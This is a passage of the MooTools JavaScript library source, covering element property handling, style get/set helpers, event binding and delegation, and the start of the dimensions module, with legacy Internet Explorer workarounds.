		return this.createTextNode(text);
	},

	getDocument: function(){
		return this;
	},

	getWindow: function(){
		return this.window;
	},

	id: (function(){

		var types = {

			string: function(id, nocash, doc){
				id = Slick.find(doc, '#' + id.replace(/(\W)/g, '\\$1'));
				return (id) ? types.element(id, nocash) : null;
			},

			element: function(el, nocash){
				Slick.uidOf(el);
				if (!nocash && !el.$family && !(/^(?:object|embed)$/i).test(el.tagName)){
					var fireEvent = el.fireEvent;
					// wrapping needed in IE7, or else crash
					el._fireEvent = function(type, event){
						return fireEvent(type, event);
					};
					Object.append(el, Element.Prototype);
				}
				return el;
			},

			object: function(obj, nocash, doc){
				if (obj.toElement) return types.element(obj.toElement(doc), nocash);
				return null;
			}

		};

		types.textnode = types.whitespace = types.window = types.document = function(zero){
			return zero;
		};

		return function(el, nocash, doc){
			if (el && el.$family && el.uniqueNumber) return el;
			var type = typeOf(el);
			return (types[type]) ? types[type](el, nocash, doc || document) : null;
		};

	})()

});

if (window.$ == null) Window.implement('$', function(el, nc){
	return document.id(el, nc, this.document);
});

Window.implement({

	getDocument: function(){
		return this.document;
	},

	getWindow: function(){
		return this;
	}

});

[Document, Element].invoke('implement', {

	getElements: function(expression){
		return Slick.search(this, expression, new Elements);
	},

	getElement: function(expression){
		return document.id(Slick.find(this, expression));
	}

});

var contains = {contains: function(element){
	return Slick.contains(this, element);
}};

if (!document.contains) Document.implement(contains);
if (!document.createElement('div').contains) Element.implement(contains);



// tree walking

var injectCombinator = function(expression, combinator){
	if (!expression) return combinator;

	expression = Object.clone(Slick.parse(expression));

	var expressions = expression.expressions;
	for (var i = expressions.length; i--;)
		expressions[i][0].combinator = combinator;

	return expression;
};

Object.forEach({
	getNext: '~',
	getPrevious: '!~',
	getParent: '!'
}, function(combinator, method){
	Element.implement(method, function(expression){
		return this.getElement(injectCombinator(expression, combinator));
	});
});

Object.forEach({
	getAllNext: '~',
	getAllPrevious: '!~',
	getSiblings: '~~',
	getChildren: '>',
	getParents: '!'
}, function(combinator, method){
	Element.implement(method, function(expression){
		return this.getElements(injectCombinator(expression, combinator));
	});
});

Element.implement({

	getFirst: function(expression){
		return document.id(Slick.search(this, injectCombinator(expression, '>'))[0]);
	},

	getLast: function(expression){
		return document.id(Slick.search(this, injectCombinator(expression, '>')).getLast());
	},

	getWindow: function(){
		return this.ownerDocument.window;
	},

	getDocument: function(){
		return this.ownerDocument;
	},

	getElementById: function(id){
		return document.id(Slick.find(this, '#' + ('' + id).replace(/(\W)/g, '\\$1')));
	},

	match: function(expression){
		return !expression || Slick.match(this, expression);
	}

});



if (window.$$ == null) Window.implement('$$', function(selector){
	if (arguments.length == 1){
		if (typeof selector == 'string') return Slick.search(this.document, selector, new Elements);
		else if (Type.isEnumerable(selector)) return new Elements(selector);
	}
	return new Elements(arguments);
});

// Inserters

var inserters = {

	before: function(context, element){
		var parent = element.parentNode;
		if (parent) parent.insertBefore(context, element);
	},

	after: function(context, element){
		var parent = element.parentNode;
		if (parent) parent.insertBefore(context, element.nextSibling);
	},

	bottom: function(context, element){
		element.appendChild(context);
	},

	top: function(context, element){
		element.insertBefore(context, element.firstChild);
	}

};

inserters.inside = inserters.bottom;



// getProperty / setProperty

var propertyGetters = {}, propertySetters = {};

// properties

var properties = {};
Array.forEach([
	'type', 'value', 'defaultValue', 'accessKey', 'cellPadding', 'cellSpacing', 'colSpan',
	'frameBorder', 'rowSpan', 'tabIndex', 'useMap'
], function(property){
	properties[property.toLowerCase()] = property;
});

properties.html = 'innerHTML';
properties.text = (document.createElement('div').textContent == null) ? 'innerText': 'textContent';

Object.forEach(properties, function(real, key){
	propertySetters[key] = function(node, value){
		node[real] = value;
	};
	propertyGetters[key] = function(node){
		return node[real];
	};
});

// Booleans

var bools = [
	'compact', 'nowrap', 'ismap', 'declare', 'noshade', 'checked',
	'disabled', 'readOnly', 'multiple', 'selected', 'noresize',
	'defer', 'defaultChecked', 'autofocus', 'controls', 'autoplay',
	'loop'
];

var booleans = {};
Array.forEach(bools, function(bool){
	var lower = bool.toLowerCase();
	booleans[lower] = bool;
	propertySetters[lower] = function(node, value){
		node[bool] = !!value;
	};
	propertyGetters[lower] = function(node){
		return !!node[bool];
	};
});

// Special cases

Object.append(propertySetters, {

	'class': function(node, value){
		('className' in node) ? node.className = (value || '') : node.setAttribute('class', value);
	},

	'for': function(node, value){
		('htmlFor' in node) ? node.htmlFor = value : node.setAttribute('for', value);
	},

	'style': function(node, value){
		(node.style) ? node.style.cssText = value : node.setAttribute('style', value);
	},

	'value': function(node, value){
		node.value = (value != null) ? value : '';
	}

});

propertyGetters['class'] = function(node){
	return ('className' in node) ? node.className || null : node.getAttribute('class');
};

/* <webkit> */
var el = document.createElement('button');
// IE sets type as readonly and throws
try { el.type = 'button'; } catch(e){}
if (el.type != 'button') propertySetters.type = function(node, value){
	node.setAttribute('type', value);
};
el = null;
/* </webkit> */

/*<IE>*/
var input = document.createElement('input');
input.value = 't';
input.type = 'submit';
if (input.value != 't') propertySetters.type = function(node, type){
	var value = node.value;
	node.type = type;
	node.value = value;
};
input = null;
/*</IE>*/

/* getProperty, setProperty */

/* <ltIE9> */
var pollutesGetAttribute = (function(div){
	div.random = 'attribute';
	return (div.getAttribute('random') == 'attribute');
})(document.createElement('div'));

/* <ltIE9> */

Element.implement({

	setProperty: function(name, value){
		var setter = propertySetters[name.toLowerCase()];
		if (setter){
			setter(this, value);
		} else {
			/* <ltIE9> */
			if (pollutesGetAttribute) var attributeWhiteList = this.retrieve('$attributeWhiteList', {});
			/* </ltIE9> */

			if (value == null){
				this.removeAttribute(name);
				/* <ltIE9> */
				if (pollutesGetAttribute) delete attributeWhiteList[name];
				/* </ltIE9> */
			} else {
				this.setAttribute(name, '' + value);
				/* <ltIE9> */
				if (pollutesGetAttribute) attributeWhiteList[name] = true;
				/* </ltIE9> */
			}
		}
		return this;
	},

	setProperties: function(attributes){
		for (var attribute in attributes) this.setProperty(attribute, attributes[attribute]);
		return this;
	},

	getProperty: function(name){
		var getter = propertyGetters[name.toLowerCase()];
		if (getter) return getter(this);
		/* <ltIE9> */
		if (pollutesGetAttribute){
			var attr = this.getAttributeNode(name), attributeWhiteList = this.retrieve('$attributeWhiteList', {});
			if (!attr) return null;
			if (attr.expando && !attributeWhiteList[name]){
				var outer = this.outerHTML;
				// segment by the opening tag and find mention of attribute name
				if (outer.substr(0, outer.search(/\/?['"]?>(?![^<]*<['"])/)).indexOf(name) < 0) return null;
				attributeWhiteList[name] = true;
			}
		}
		/* </ltIE9> */
		var result = Slick.getAttribute(this, name);
		return (!result && !Slick.hasAttribute(this, name)) ? null : result;
	},

	getProperties: function(){
		var args = Array.from(arguments);
		return args.map(this.getProperty, this).associate(args);
	},

	removeProperty: function(name){
		return this.setProperty(name, null);
	},

	removeProperties: function(){
		Array.each(arguments, this.removeProperty, this);
		return this;
	},

	set: function(prop, value){
		var property = Element.Properties[prop];
		(property && property.set) ? property.set.call(this, value) : this.setProperty(prop, value);
	}.overloadSetter(),

	get: function(prop){
		var property = Element.Properties[prop];
		return (property && property.get) ? property.get.apply(this) : this.getProperty(prop);
	}.overloadGetter(),

	erase: function(prop){
		var property = Element.Properties[prop];
		(property && property.erase) ? property.erase.apply(this) : this.removeProperty(prop);
		return this;
	},

	hasClass: function(className){
		return this.className.clean().contains(className, ' ');
	},

	addClass: function(className){
		if (!this.hasClass(className)) this.className = (this.className + ' ' + className).clean();
		return this;
	},

	removeClass: function(className){
		this.className = this.className.replace(new RegExp('(^|\\s)' + className + '(?:\\s|$)'), '$1');
		return this;
	},

	toggleClass: function(className, force){
		if (force == null) force = !this.hasClass(className);
		return (force) ? this.addClass(className) : this.removeClass(className);
	},

	adopt: function(){
		var parent = this, fragment, elements = Array.flatten(arguments), length = elements.length;
		if (length > 1) parent = fragment = document.createDocumentFragment();

		for (var i = 0; i < length; i++){
			var element = document.id(elements[i], true);
			if (element) parent.appendChild(element);
		}

		if (fragment) this.appendChild(fragment);

		return this;
	},

	appendText: function(text, where){
		return this.grab(this.getDocument().newTextNode(text), where);
	},

	grab: function(el, where){
		inserters[where || 'bottom'](document.id(el, true), this);
		return this;
	},

	inject: function(el, where){
		inserters[where || 'bottom'](this, document.id(el, true));
		return this;
	},

	replaces: function(el){
		el = document.id(el, true);
		el.parentNode.replaceChild(this, el);
		return this;
	},

	wraps: function(el, where){
		el = document.id(el, true);
		return this.replaces(el).grab(el, where);
	},

	getSelected: function(){
		this.selectedIndex; // Safari 3.2.1
		return new Elements(Array.from(this.options).filter(function(option){
			return option.selected;
		}));
	},

	toQueryString: function(){
		var queryString = [];
		this.getElements('input, select, textarea').each(function(el){
			var type = el.type;
			if (!el.name || el.disabled || type == 'submit' || type == 'reset' || type == 'file' || type == 'image') return;

			var value = (el.get('tag') == 'select') ? el.getSelected().map(function(opt){
				// IE
				return document.id(opt).get('value');
			}) : ((type == 'radio' || type == 'checkbox') && !el.checked) ? null : el.get('value');

			Array.from(value).each(function(val){
				if (typeof val != 'undefined') queryString.push(encodeURIComponent(el.name) + '=' + encodeURIComponent(val));
			});
		});
		return queryString.join('&');
	}

});

var collected = {}, storage = {};

var get = function(uid){
	return (storage[uid] || (storage[uid] = {}));
};

var clean = function(item){
	var uid = item.uniqueNumber;
	if (item.removeEvents) item.removeEvents();
	if (item.clearAttributes) item.clearAttributes();
	if (uid != null){
		delete collected[uid];
		delete storage[uid];
	}
	return item;
};

var formProps = {input: 'checked', option: 'selected', textarea: 'value'};

Element.implement({

	destroy: function(){
		var children = clean(this).getElementsByTagName('*');
		Array.each(children, clean);
		Element.dispose(this);
		return null;
	},

	empty: function(){
		Array.from(this.childNodes).each(Element.dispose);
		return this;
	},

	dispose: function(){
		return (this.parentNode) ? this.parentNode.removeChild(this) : this;
	},

	clone: function(contents, keepid){
		contents = contents !== false;
		var clone = this.cloneNode(contents), ce = [clone], te = [this], i;

		if (contents){
			ce.append(Array.from(clone.getElementsByTagName('*')));
			te.append(Array.from(this.getElementsByTagName('*')));
		}

		for (i = ce.length; i--;){
			var node = ce[i], element = te[i];
			if (!keepid) node.removeAttribute('id');
			/*<ltIE9>*/
			if (node.clearAttributes){
				node.clearAttributes();
				node.mergeAttributes(element);
				node.removeAttribute('uniqueNumber');
				if (node.options){
					var no = node.options, eo = element.options;
					for (var j = no.length; j--;) no[j].selected = eo[j].selected;
				}
			}
			/*</ltIE9>*/
			var prop = formProps[element.tagName.toLowerCase()];
			if (prop && element[prop]) node[prop] = element[prop];
		}

		/*<ltIE9>*/
		if (Browser.ie){
			var co = clone.getElementsByTagName('object'), to = this.getElementsByTagName('object');
			for (i = co.length; i--;) co[i].outerHTML = to[i].outerHTML;
		}
		/*</ltIE9>*/
		return document.id(clone);
	}

});

[Element, Window, Document].invoke('implement', {

	addListener: function(type, fn){
		if (type == 'unload'){
			var old = fn, self = this;
			fn = function(){
				self.removeListener('unload', fn);
				old();
			};
		} else {
			collected[Slick.uidOf(this)] = this;
		}
		if (this.addEventListener) this.addEventListener(type, fn, !!arguments[2]);
		else this.attachEvent('on' + type, fn);
		return this;
	},

	removeListener: function(type, fn){
		if (this.removeEventListener) this.removeEventListener(type, fn, !!arguments[2]);
		else this.detachEvent('on' + type, fn);
		return this;
	},

	retrieve: function(property, dflt){
		var storage = get(Slick.uidOf(this)), prop = storage[property];
		if (dflt != null && prop == null) prop = storage[property] = dflt;
		return prop != null ? prop : null;
	},

	store: function(property, value){
		var storage = get(Slick.uidOf(this));
		storage[property] = value;
		return this;
	},

	eliminate: function(property){
		var storage = get(Slick.uidOf(this));
		delete storage[property];
		return this;
	}

});

/*<ltIE9>*/
if (window.attachEvent && !window.addEventListener) window.addListener('unload', function(){
	Object.each(collected, clean);
	if (window.CollectGarbage) CollectGarbage();
});
/*</ltIE9>*/

Element.Properties = {};



Element.Properties.style = {

	set: function(style){
		this.style.cssText = style;
	},

	get: function(){
		return this.style.cssText;
	},

	erase: function(){
		this.style.cssText = '';
	}

};

Element.Properties.tag = {

	get: function(){
		return this.tagName.toLowerCase();
	}

};

Element.Properties.html = {

	set: function(html){
		if (html == null) html = '';
		else if (typeOf(html) == 'array') html = html.join('');
		this.innerHTML = html;
	},

	erase: function(){
		this.innerHTML = '';
	}

};

/*<ltIE9>*/
// technique by jdbarlett - http://jdbartlett.com/innershiv/
var div = document.createElement('div');
div.innerHTML = '<nav></nav>';
var supportsHTML5Elements = (div.childNodes.length == 1);
if (!supportsHTML5Elements){
	var tags = 'abbr article aside audio canvas datalist details figcaption figure footer header hgroup mark meter nav output progress section summary time video'.split(' '),
		fragment = document.createDocumentFragment(), l = tags.length;
	while (l--) fragment.createElement(tags[l]);
}
div = null;
/*</ltIE9>*/

/*<IE>*/
var supportsTableInnerHTML = Function.attempt(function(){
	var table = document.createElement('table');
	table.innerHTML = '<tr><td></td></tr>';
	return true;
});

/*<ltFF4>*/
var tr = document.createElement('tr'), html = '<td></td>';
tr.innerHTML = html;
var supportsTRInnerHTML = (tr.innerHTML == html);
tr = null;
/*</ltFF4>*/

if (!supportsTableInnerHTML || !supportsTRInnerHTML || !supportsHTML5Elements){

	Element.Properties.html.set = (function(set){

		var translations = {
			table: [1, '<table>', '</table>'],
			select: [1, '<select>', '</select>'],
			tbody: [2, '<table><tbody>', '</tbody></table>'],
			tr: [3, '<table><tbody><tr>', '</tr></tbody></table>']
		};

		translations.thead = translations.tfoot = translations.tbody;

		return function(html){
			var wrap = translations[this.get('tag')];
			if (!wrap && !supportsHTML5Elements) wrap = [0, '', ''];
			if (!wrap) return set.call(this, html);

			var level = wrap[0], wrapper = document.createElement('div'), target = wrapper;
			if (!supportsHTML5Elements) fragment.appendChild(wrapper);
			wrapper.innerHTML = [wrap[1], html, wrap[2]].flatten().join('');
			while (level--) target = target.firstChild;
			this.empty().adopt(target.childNodes);
			if (!supportsHTML5Elements) fragment.removeChild(wrapper);
			wrapper = null;
		};

	})(Element.Properties.html.set);
}
/*</IE>*/

/*<ltIE9>*/
var testForm = document.createElement('form');
testForm.innerHTML = '<select><option>s</option></select>';

if (testForm.firstChild.value != 's') Element.Properties.value = {

	set: function(value){
		var tag = this.get('tag');
		if (tag != 'select') return this.setProperty('value', value);
		var options = this.getElements('option');
		for (var i = 0; i < options.length; i++){
			var option = options[i],
				attr = option.getAttributeNode('value'),
				optionValue = (attr && attr.specified) ? option.value : option.get('text');
			if (optionValue == value) return option.selected = true;
		}
	},

	get: function(){
		var option = this, tag = option.get('tag');

		if (tag != 'select' && tag != 'option') return this.getProperty('value');

		if (tag == 'select' && !(option = option.getSelected()[0])) return '';

		var attr = option.getAttributeNode('value');
		return (attr && attr.specified) ? option.value : option.get('text');
	}

};
testForm = null;
/*</ltIE9>*/

/*<IE>*/
if (document.createElement('div').getAttributeNode('id')) Element.Properties.id = {
	set: function(id){
		this.id = this.getAttributeNode('id').value = id;
	},
	get: function(){
		return this.id || null;
	},
	erase: function(){
		this.id = this.getAttributeNode('id').value = '';
	}
};
/*</IE>*/

})();


/*
---

name: Element.Style

description: Contains methods for interacting with the styles of Elements in a fashionable way.

license: MIT-style license.

requires: Element

provides: Element.Style

...
*/

(function(){

var html = document.html;

//<ltIE9>
// Check for oldIE, which does not remove styles when they're set to null
var el = document.createElement('div');
el.style.color = 'red';
el.style.color = null;
var doesNotRemoveStyles = el.style.color == 'red';
el = null;
//</ltIE9>

Element.Properties.styles = {set: function(styles){
	this.setStyles(styles);
}};

var hasOpacity = (html.style.opacity != null),
	hasFilter = (html.style.filter != null),
	reAlpha = /alpha\(opacity=([\d.]+)\)/i;

var setVisibility = function(element, opacity){
	element.store('$opacity', opacity);
	element.style.visibility = opacity > 0 || opacity == null ? 'visible' : 'hidden';
};

var setOpacity = (hasOpacity ? function(element, opacity){
	element.style.opacity = opacity;
} : (hasFilter ? function(element, opacity){
	var style = element.style;
	if (!element.currentStyle || !element.currentStyle.hasLayout) style.zoom = 1;
	if (opacity == null || opacity == 1) opacity = '';
	else opacity = 'alpha(opacity=' + (opacity * 100).limit(0, 100).round() + ')';
	var filter = style.filter || element.getComputedStyle('filter') || '';
	style.filter = reAlpha.test(filter) ? filter.replace(reAlpha, opacity) : filter + opacity;
	if (!style.filter) style.removeAttribute('filter');
} : setVisibility));

var getOpacity = (hasOpacity ? function(element){
	var opacity = element.style.opacity || element.getComputedStyle('opacity');
	return (opacity == '') ? 1 : opacity.toFloat();
} : (hasFilter ? function(element){
	var filter = (element.style.filter || element.getComputedStyle('filter')),
		opacity;
	if (filter) opacity = filter.match(reAlpha);
	return (opacity == null || filter == null) ? 1 : (opacity[1] / 100);
} : function(element){
	var opacity = element.retrieve('$opacity');
	if (opacity == null) opacity = (element.style.visibility == 'hidden' ? 0 : 1);
	return opacity;
}));

var floatName = (html.style.cssFloat == null) ? 'styleFloat' : 'cssFloat';

Element.implement({

	getComputedStyle: function(property){
		if (this.currentStyle) return this.currentStyle[property.camelCase()];
		var defaultView = Element.getDocument(this).defaultView,
			computed = defaultView ? defaultView.getComputedStyle(this, null) : null;
		return (computed) ? computed.getPropertyValue((property == floatName) ? 'float' : property.hyphenate()) : null;
	},

	setStyle: function(property, value){
		if (property == 'opacity'){
			if (value != null) value = parseFloat(value);
			setOpacity(this, value);
			return this;
		}
		property = (property == 'float' ? floatName : property).camelCase();
		if (typeOf(value) != 'string'){
			var map = (Element.Styles[property] || '@').split(' ');
			value = Array.from(value).map(function(val, i){
				if (!map[i]) return '';
				return (typeOf(val) == 'number') ? map[i].replace('@', Math.round(val)) : val;
			}).join(' ');
		} else if (value == String(Number(value))){
			value = Math.round(value);
		}
		this.style[property] = value;
		//<ltIE9>
		if ((value == '' || value == null) && doesNotRemoveStyles && this.style.removeAttribute){
			this.style.removeAttribute(property);
		}
		//</ltIE9>
		return this;
	},

	getStyle: function(property){
		if (property == 'opacity') return getOpacity(this);
		property = (property == 'float' ? floatName : property).camelCase();
		var result = this.style[property];
		if (!result || property == 'zIndex'){
			result = [];
			for (var style in Element.ShortStyles){
				if (property != style) continue;
				for (var s in Element.ShortStyles[style]) result.push(this.getStyle(s));
				return result.join(' ');
			}
			result = this.getComputedStyle(property);
		}
		if (result){
			result = String(result);
			var color = result.match(/rgba?\([\d\s,]+\)/);
			if (color) result = result.replace(color[0], color[0].rgbToHex());
		}
		if (Browser.ie && isNaN(parseFloat(result))){
			if ((/^(height|width)$/).test(property)){
				var values = (property == 'width') ? ['left', 'right'] : ['top', 'bottom'], size = 0;
				values.each(function(value){
					size += this.getStyle('border-' + value + '-width').toInt() + this.getStyle('padding-' + value).toInt();
				}, this);
				return this['offset' + property.capitalize()] - size + 'px';
			}
			if (Browser.opera && String(result).indexOf('px') != -1) return result;
			if ((/^border(.+)Width|margin|padding/).test(property)) return '0px';
		}
		return result;
	},

	setStyles: function(styles){
		for (var style in styles) this.setStyle(style, styles[style]);
		return this;
	},

	getStyles: function(){
		var result = {};
		Array.flatten(arguments).each(function(key){
			result[key] = this.getStyle(key);
		}, this);
		return result;
	}

});

Element.Styles = {
	left: '@px', top: '@px', bottom: '@px', right: '@px',
	width: '@px', height: '@px', maxWidth: '@px', maxHeight: '@px', minWidth: '@px', minHeight: '@px',
	backgroundColor: 'rgb(@, @, @)', backgroundPosition: '@px @px', color: 'rgb(@, @, @)',
	fontSize: '@px', letterSpacing: '@px', lineHeight: '@px', clip: 'rect(@px @px @px @px)',
	margin: '@px @px @px @px', padding: '@px @px @px @px', border: '@px @ rgb(@, @, @) @px @ rgb(@, @, @) @px @ rgb(@, @, @)',
	borderWidth: '@px @px @px @px', borderStyle: '@ @ @ @', borderColor: 'rgb(@, @, @) rgb(@, @, @) rgb(@, @, @) rgb(@, @, @)',
	zIndex: '@', 'zoom': '@', fontWeight: '@', textIndent: '@px', opacity: '@'
};





Element.ShortStyles = {margin: {}, padding: {}, border: {}, borderWidth: {}, borderStyle: {}, borderColor: {}};

['Top', 'Right', 'Bottom', 'Left'].each(function(direction){
	var Short = Element.ShortStyles;
	var All = Element.Styles;
	['margin', 'padding'].each(function(style){
		var sd = style + direction;
		Short[style][sd] = All[sd] = '@px';
	});
	var bd = 'border' + direction;
	Short.border[bd] = All[bd] = '@px @ rgb(@, @, @)';
	var bdw = bd + 'Width', bds = bd + 'Style', bdc = bd + 'Color';
	Short[bd] = {};
	Short.borderWidth[bdw] = Short[bd][bdw] = All[bdw] = '@px';
	Short.borderStyle[bds] = Short[bd][bds] = All[bds] = '@';
	Short.borderColor[bdc] = Short[bd][bdc] = All[bdc] = 'rgb(@, @, @)';
});

})();


/*
---

name: Element.Event

description: Contains Element methods for dealing with events. This file also includes mouseenter and mouseleave custom Element Events, if necessary.

license: MIT-style license.

requires: [Element, Event]

provides: Element.Event

...
*/

(function(){

Element.Properties.events = {set: function(events){
	this.addEvents(events);
}};

[Element, Window, Document].invoke('implement', {

	addEvent: function(type, fn){
		var events = this.retrieve('events', {});
		if (!events[type]) events[type] = {keys: [], values: []};
		if (events[type].keys.contains(fn)) return this;
		events[type].keys.push(fn);
		var realType = type,
			custom = Element.Events[type],
			condition = fn,
			self = this;
		if (custom){
			if (custom.onAdd) custom.onAdd.call(this, fn, type);
			if (custom.condition){
				condition = function(event){
					if (custom.condition.call(this, event, type)) return fn.call(this, event);
					return true;
				};
			}
			if (custom.base) realType = Function.from(custom.base).call(this, type);
		}
		var defn = function(){
			return fn.call(self);
		};
		var nativeEvent = Element.NativeEvents[realType];
		if (nativeEvent){
			if (nativeEvent == 2){
				defn = function(event){
					event = new DOMEvent(event, self.getWindow());
					if (condition.call(self, event) === false) event.stop();
				};
			}
			this.addListener(realType, defn, arguments[2]);
		}
		events[type].values.push(defn);
		return this;
	},

	removeEvent: function(type, fn){
		var events = this.retrieve('events');
		if (!events || !events[type]) return this;
		var list = events[type];
		var index = list.keys.indexOf(fn);
		if (index == -1) return this;
		var value = list.values[index];
		delete list.keys[index];
		delete list.values[index];
		var custom = Element.Events[type];
		if (custom){
			if (custom.onRemove) custom.onRemove.call(this, fn, type);
			if (custom.base) type = Function.from(custom.base).call(this, type);
		}
		return (Element.NativeEvents[type]) ? this.removeListener(type, value, arguments[2]) : this;
	},

	addEvents: function(events){
		for (var event in events) this.addEvent(event, events[event]);
		return this;
	},

	removeEvents: function(events){
		var type;
		if (typeOf(events) == 'object'){
			for (type in events) this.removeEvent(type, events[type]);
			return this;
		}
		var attached = this.retrieve('events');
		if (!attached) return this;
		if (!events){
			for (type in attached) this.removeEvents(type);
			this.eliminate('events');
		} else if (attached[events]){
			attached[events].keys.each(function(fn){
				this.removeEvent(events, fn);
			}, this);
			delete attached[events];
		}
		return this;
	},

	fireEvent: function(type, args, delay){
		var events = this.retrieve('events');
		if (!events || !events[type]) return this;
		args = Array.from(args);

		events[type].keys.each(function(fn){
			if (delay) fn.delay(delay, this, args);
			else fn.apply(this, args);
		}, this);
		return this;
	},

	cloneEvents: function(from, type){
		from = document.id(from);
		var events = from.retrieve('events');
		if (!events) return this;
		if (!type){
			for (var eventType in events) this.cloneEvents(from, eventType);
		} else if (events[type]){
			events[type].keys.each(function(fn){
				this.addEvent(type, fn);
			}, this);
		}
		return this;
	}

});

Element.NativeEvents = {
	click: 2, dblclick: 2, mouseup: 2, mousedown: 2, contextmenu: 2, //mouse buttons
	mousewheel: 2, DOMMouseScroll: 2, //mouse wheel
	mouseover: 2, mouseout: 2, mousemove: 2, selectstart: 2, selectend: 2, //mouse movement
	keydown: 2, keypress: 2, keyup: 2, //keyboard
	orientationchange: 2, // mobile
	touchstart: 2, touchmove: 2, touchend: 2, touchcancel: 2, // touch
	gesturestart: 2, gesturechange: 2, gestureend: 2, // gesture
	focus: 2, blur: 2, change: 2, reset: 2, select: 2, submit: 2, paste: 2, input: 2, //form elements
	load: 2, unload: 1, beforeunload: 2, resize: 1, move: 1, DOMContentLoaded: 1, readystatechange: 1, //window
	error: 1, abort: 1, scroll: 1 //misc
};

Element.Events = {mousewheel: {
	base: (Browser.firefox) ? 'DOMMouseScroll' : 'mousewheel'
}};

if ('onmouseenter' in document.documentElement){
	Element.NativeEvents.mouseenter = Element.NativeEvents.mouseleave = 2;
} else {
	var check = function(event){
		var related = event.relatedTarget;
		if (related == null) return true;
		if (!related) return false;
		return (related != this && related.prefix != 'xul' && typeOf(this) != 'document' && !this.contains(related));
	};

	Element.Events.mouseenter = {
		base: 'mouseover',
		condition: check
	};

	Element.Events.mouseleave = {
		base: 'mouseout',
		condition: check
	};
}

/*<ltIE9>*/
if (!window.addEventListener){
	Element.NativeEvents.propertychange = 2;
	Element.Events.change = {
		base: function(){
			var type = this.type;
			return (this.get('tag') == 'input' && (type == 'radio' || type == 'checkbox')) ? 'propertychange' : 'change'
		},
		condition: function(event){
			return this.type != 'radio' || (event.event.propertyName == 'checked' && this.checked);
		}
	}
}
/*</ltIE9>*/



})();


/*
---

name: Element.Delegation

description: Extends the Element native object to include the delegate method for more efficient event management.

license: MIT-style license.

requires: [Element.Event]

provides: [Element.Delegation]

...
*/

(function(){

var eventListenerSupport = !!window.addEventListener;

Element.NativeEvents.focusin = Element.NativeEvents.focusout = 2;

var bubbleUp = function(self, match, fn, event, target){
	while (target && target != self){
		if (match(target, event)) return fn.call(target, event, target);
		target = document.id(target.parentNode);
	}
};

var map = {
	mouseenter: {
		base: 'mouseover'
	},
	mouseleave: {
		base: 'mouseout'
	},
	focus: {
		base: 'focus' + (eventListenerSupport ? '' : 'in'),
		capture: true
	},
	blur: {
		base: eventListenerSupport ? 'blur' : 'focusout',
		capture: true
	}
};

/*<ltIE9>*/
var _key = '$delegation:';
var formObserver = function(type){

	return {

		base: 'focusin',

		remove: function(self, uid){
			var list = self.retrieve(_key + type + 'listeners', {})[uid];
			if (list && list.forms) for (var i = list.forms.length; i--;){
				list.forms[i].removeEvent(type, list.fns[i]);
			}
		},

		listen: function(self, match, fn, event, target, uid){
			var form = (target.get('tag') == 'form') ? target : event.target.getParent('form');
			if (!form) return;

			var listeners = self.retrieve(_key + type + 'listeners', {}),
				listener = listeners[uid] || {forms: [], fns: []},
				forms = listener.forms, fns = listener.fns;

			if (forms.indexOf(form) != -1) return;
			forms.push(form);

			var _fn = function(event){
				bubbleUp(self, match, fn, event, target);
			};
			form.addEvent(type, _fn);
			fns.push(_fn);

			listeners[uid] = listener;
			self.store(_key + type + 'listeners', listeners);
		}
	};
};

var inputObserver = function(type){
	return {
		base: 'focusin',
		listen: function(self, match, fn, event, target){
			var events = {blur: function(){
				this.removeEvents(events);
			}};
			events[type] = function(event){
				bubbleUp(self, match, fn, event, target);
			};
			event.target.addEvents(events);
		}
	};
};

if (!eventListenerSupport) Object.append(map, {
	submit: formObserver('submit'),
	reset: formObserver('reset'),
	change: inputObserver('change'),
	select: inputObserver('select')
});
/*</ltIE9>*/

var proto = Element.prototype,
	addEvent = proto.addEvent,
	removeEvent = proto.removeEvent;

var relay = function(old, method){
	return function(type, fn, useCapture){
		if (type.indexOf(':relay') == -1) return old.call(this, type, fn, useCapture);
		var parsed = Slick.parse(type).expressions[0][0];
		if (parsed.pseudos[0].key != 'relay') return old.call(this, type, fn, useCapture);
		var newType = parsed.tag;
		parsed.pseudos.slice(1).each(function(pseudo){
			newType += ':' + pseudo.key + (pseudo.value ? '(' + pseudo.value + ')' : '');
		});
		old.call(this, type, fn);
		return method.call(this, newType, parsed.pseudos[0].value, fn);
	};
};

var delegation = {

	addEvent: function(type, match, fn){
		var storage = this.retrieve('$delegates', {}), stored = storage[type];
		if (stored) for (var _uid in stored){
			if (stored[_uid].fn == fn && stored[_uid].match == match) return this;
		}

		var _type = type, _match = match, _fn = fn, _map = map[type] || {};
		type = _map.base || _type;

		match = function(target){
			return Slick.match(target, _match);
		};

		var elementEvent = Element.Events[_type];
		if (elementEvent && elementEvent.condition){
			var __match = match, condition = elementEvent.condition;
			match = function(target, event){
				return __match(target, event) && condition.call(target, event, type);
			};
		}

		var self = this, uid = String.uniqueID();
		var delegator = _map.listen ? function(event, target){
			if (!target && event && event.target) target = event.target;
			if (target) _map.listen(self, match, fn, event, target, uid);
		} : function(event, target){
			if (!target && event && event.target) target = event.target;
			if (target) bubbleUp(self, match, fn, event, target);
		};

		if (!stored) stored = {};
		stored[uid] = {
			match: _match,
			fn: _fn,
			delegator: delegator
		};
		storage[_type] = stored;
		return addEvent.call(this, type, delegator, _map.capture);
	},

	removeEvent: function(type, match, fn, _uid){
		var storage = this.retrieve('$delegates', {}), stored = storage[type];
		if (!stored) return this;

		if (_uid){
			var _type = type, delegator = stored[_uid].delegator, _map = map[type] || {};
			type = _map.base || _type;
			if (_map.remove) _map.remove(this, _uid);
			delete stored[_uid];
			storage[_type] = stored;
			return removeEvent.call(this, type, delegator);
		}

		var __uid, s;
		if (fn) for (__uid in stored){
			s = stored[__uid];
			if (s.match == match && s.fn == fn) return delegation.removeEvent.call(this, type, match, fn, __uid);
		} else for (__uid in stored){
			s = stored[__uid];
			if (s.match == match) delegation.removeEvent.call(this, type, match, s.fn, __uid);
		}
		return this;
	}

};

[Element, Window, Document].invoke('implement', {
	addEvent: relay(addEvent, delegation.addEvent),
	removeEvent: relay(removeEvent, delegation.removeEvent)
});

})();


/*
---

name: Element.Dimensions

description: Contains methods to work with size, scroll, or positioning of Elements and the window object.

license: MIT-style license.

credits:
  - Element positioning based on the [qooxdoo](http://qooxdoo.org/) code and smart browser fixes, [LGPL License](http://www.gnu.org/licenses/lgpl.html).
  - Viewport dimensions based on [YUI](http://developer.yahoo.com/yui/) code, [BSD License](http://developer.yahoo.com/yui/license.html).

requires: [Element, Element.Style]

provides: [Element.Dimensions]

...
*/

(function(){

var element = document.createElement('div'),
	child = document.createElement('div');
element.style.height = '0';
element.appendChild(child);
var brokenOffsetParent = (child.offsetParent === element);
element = child = null;

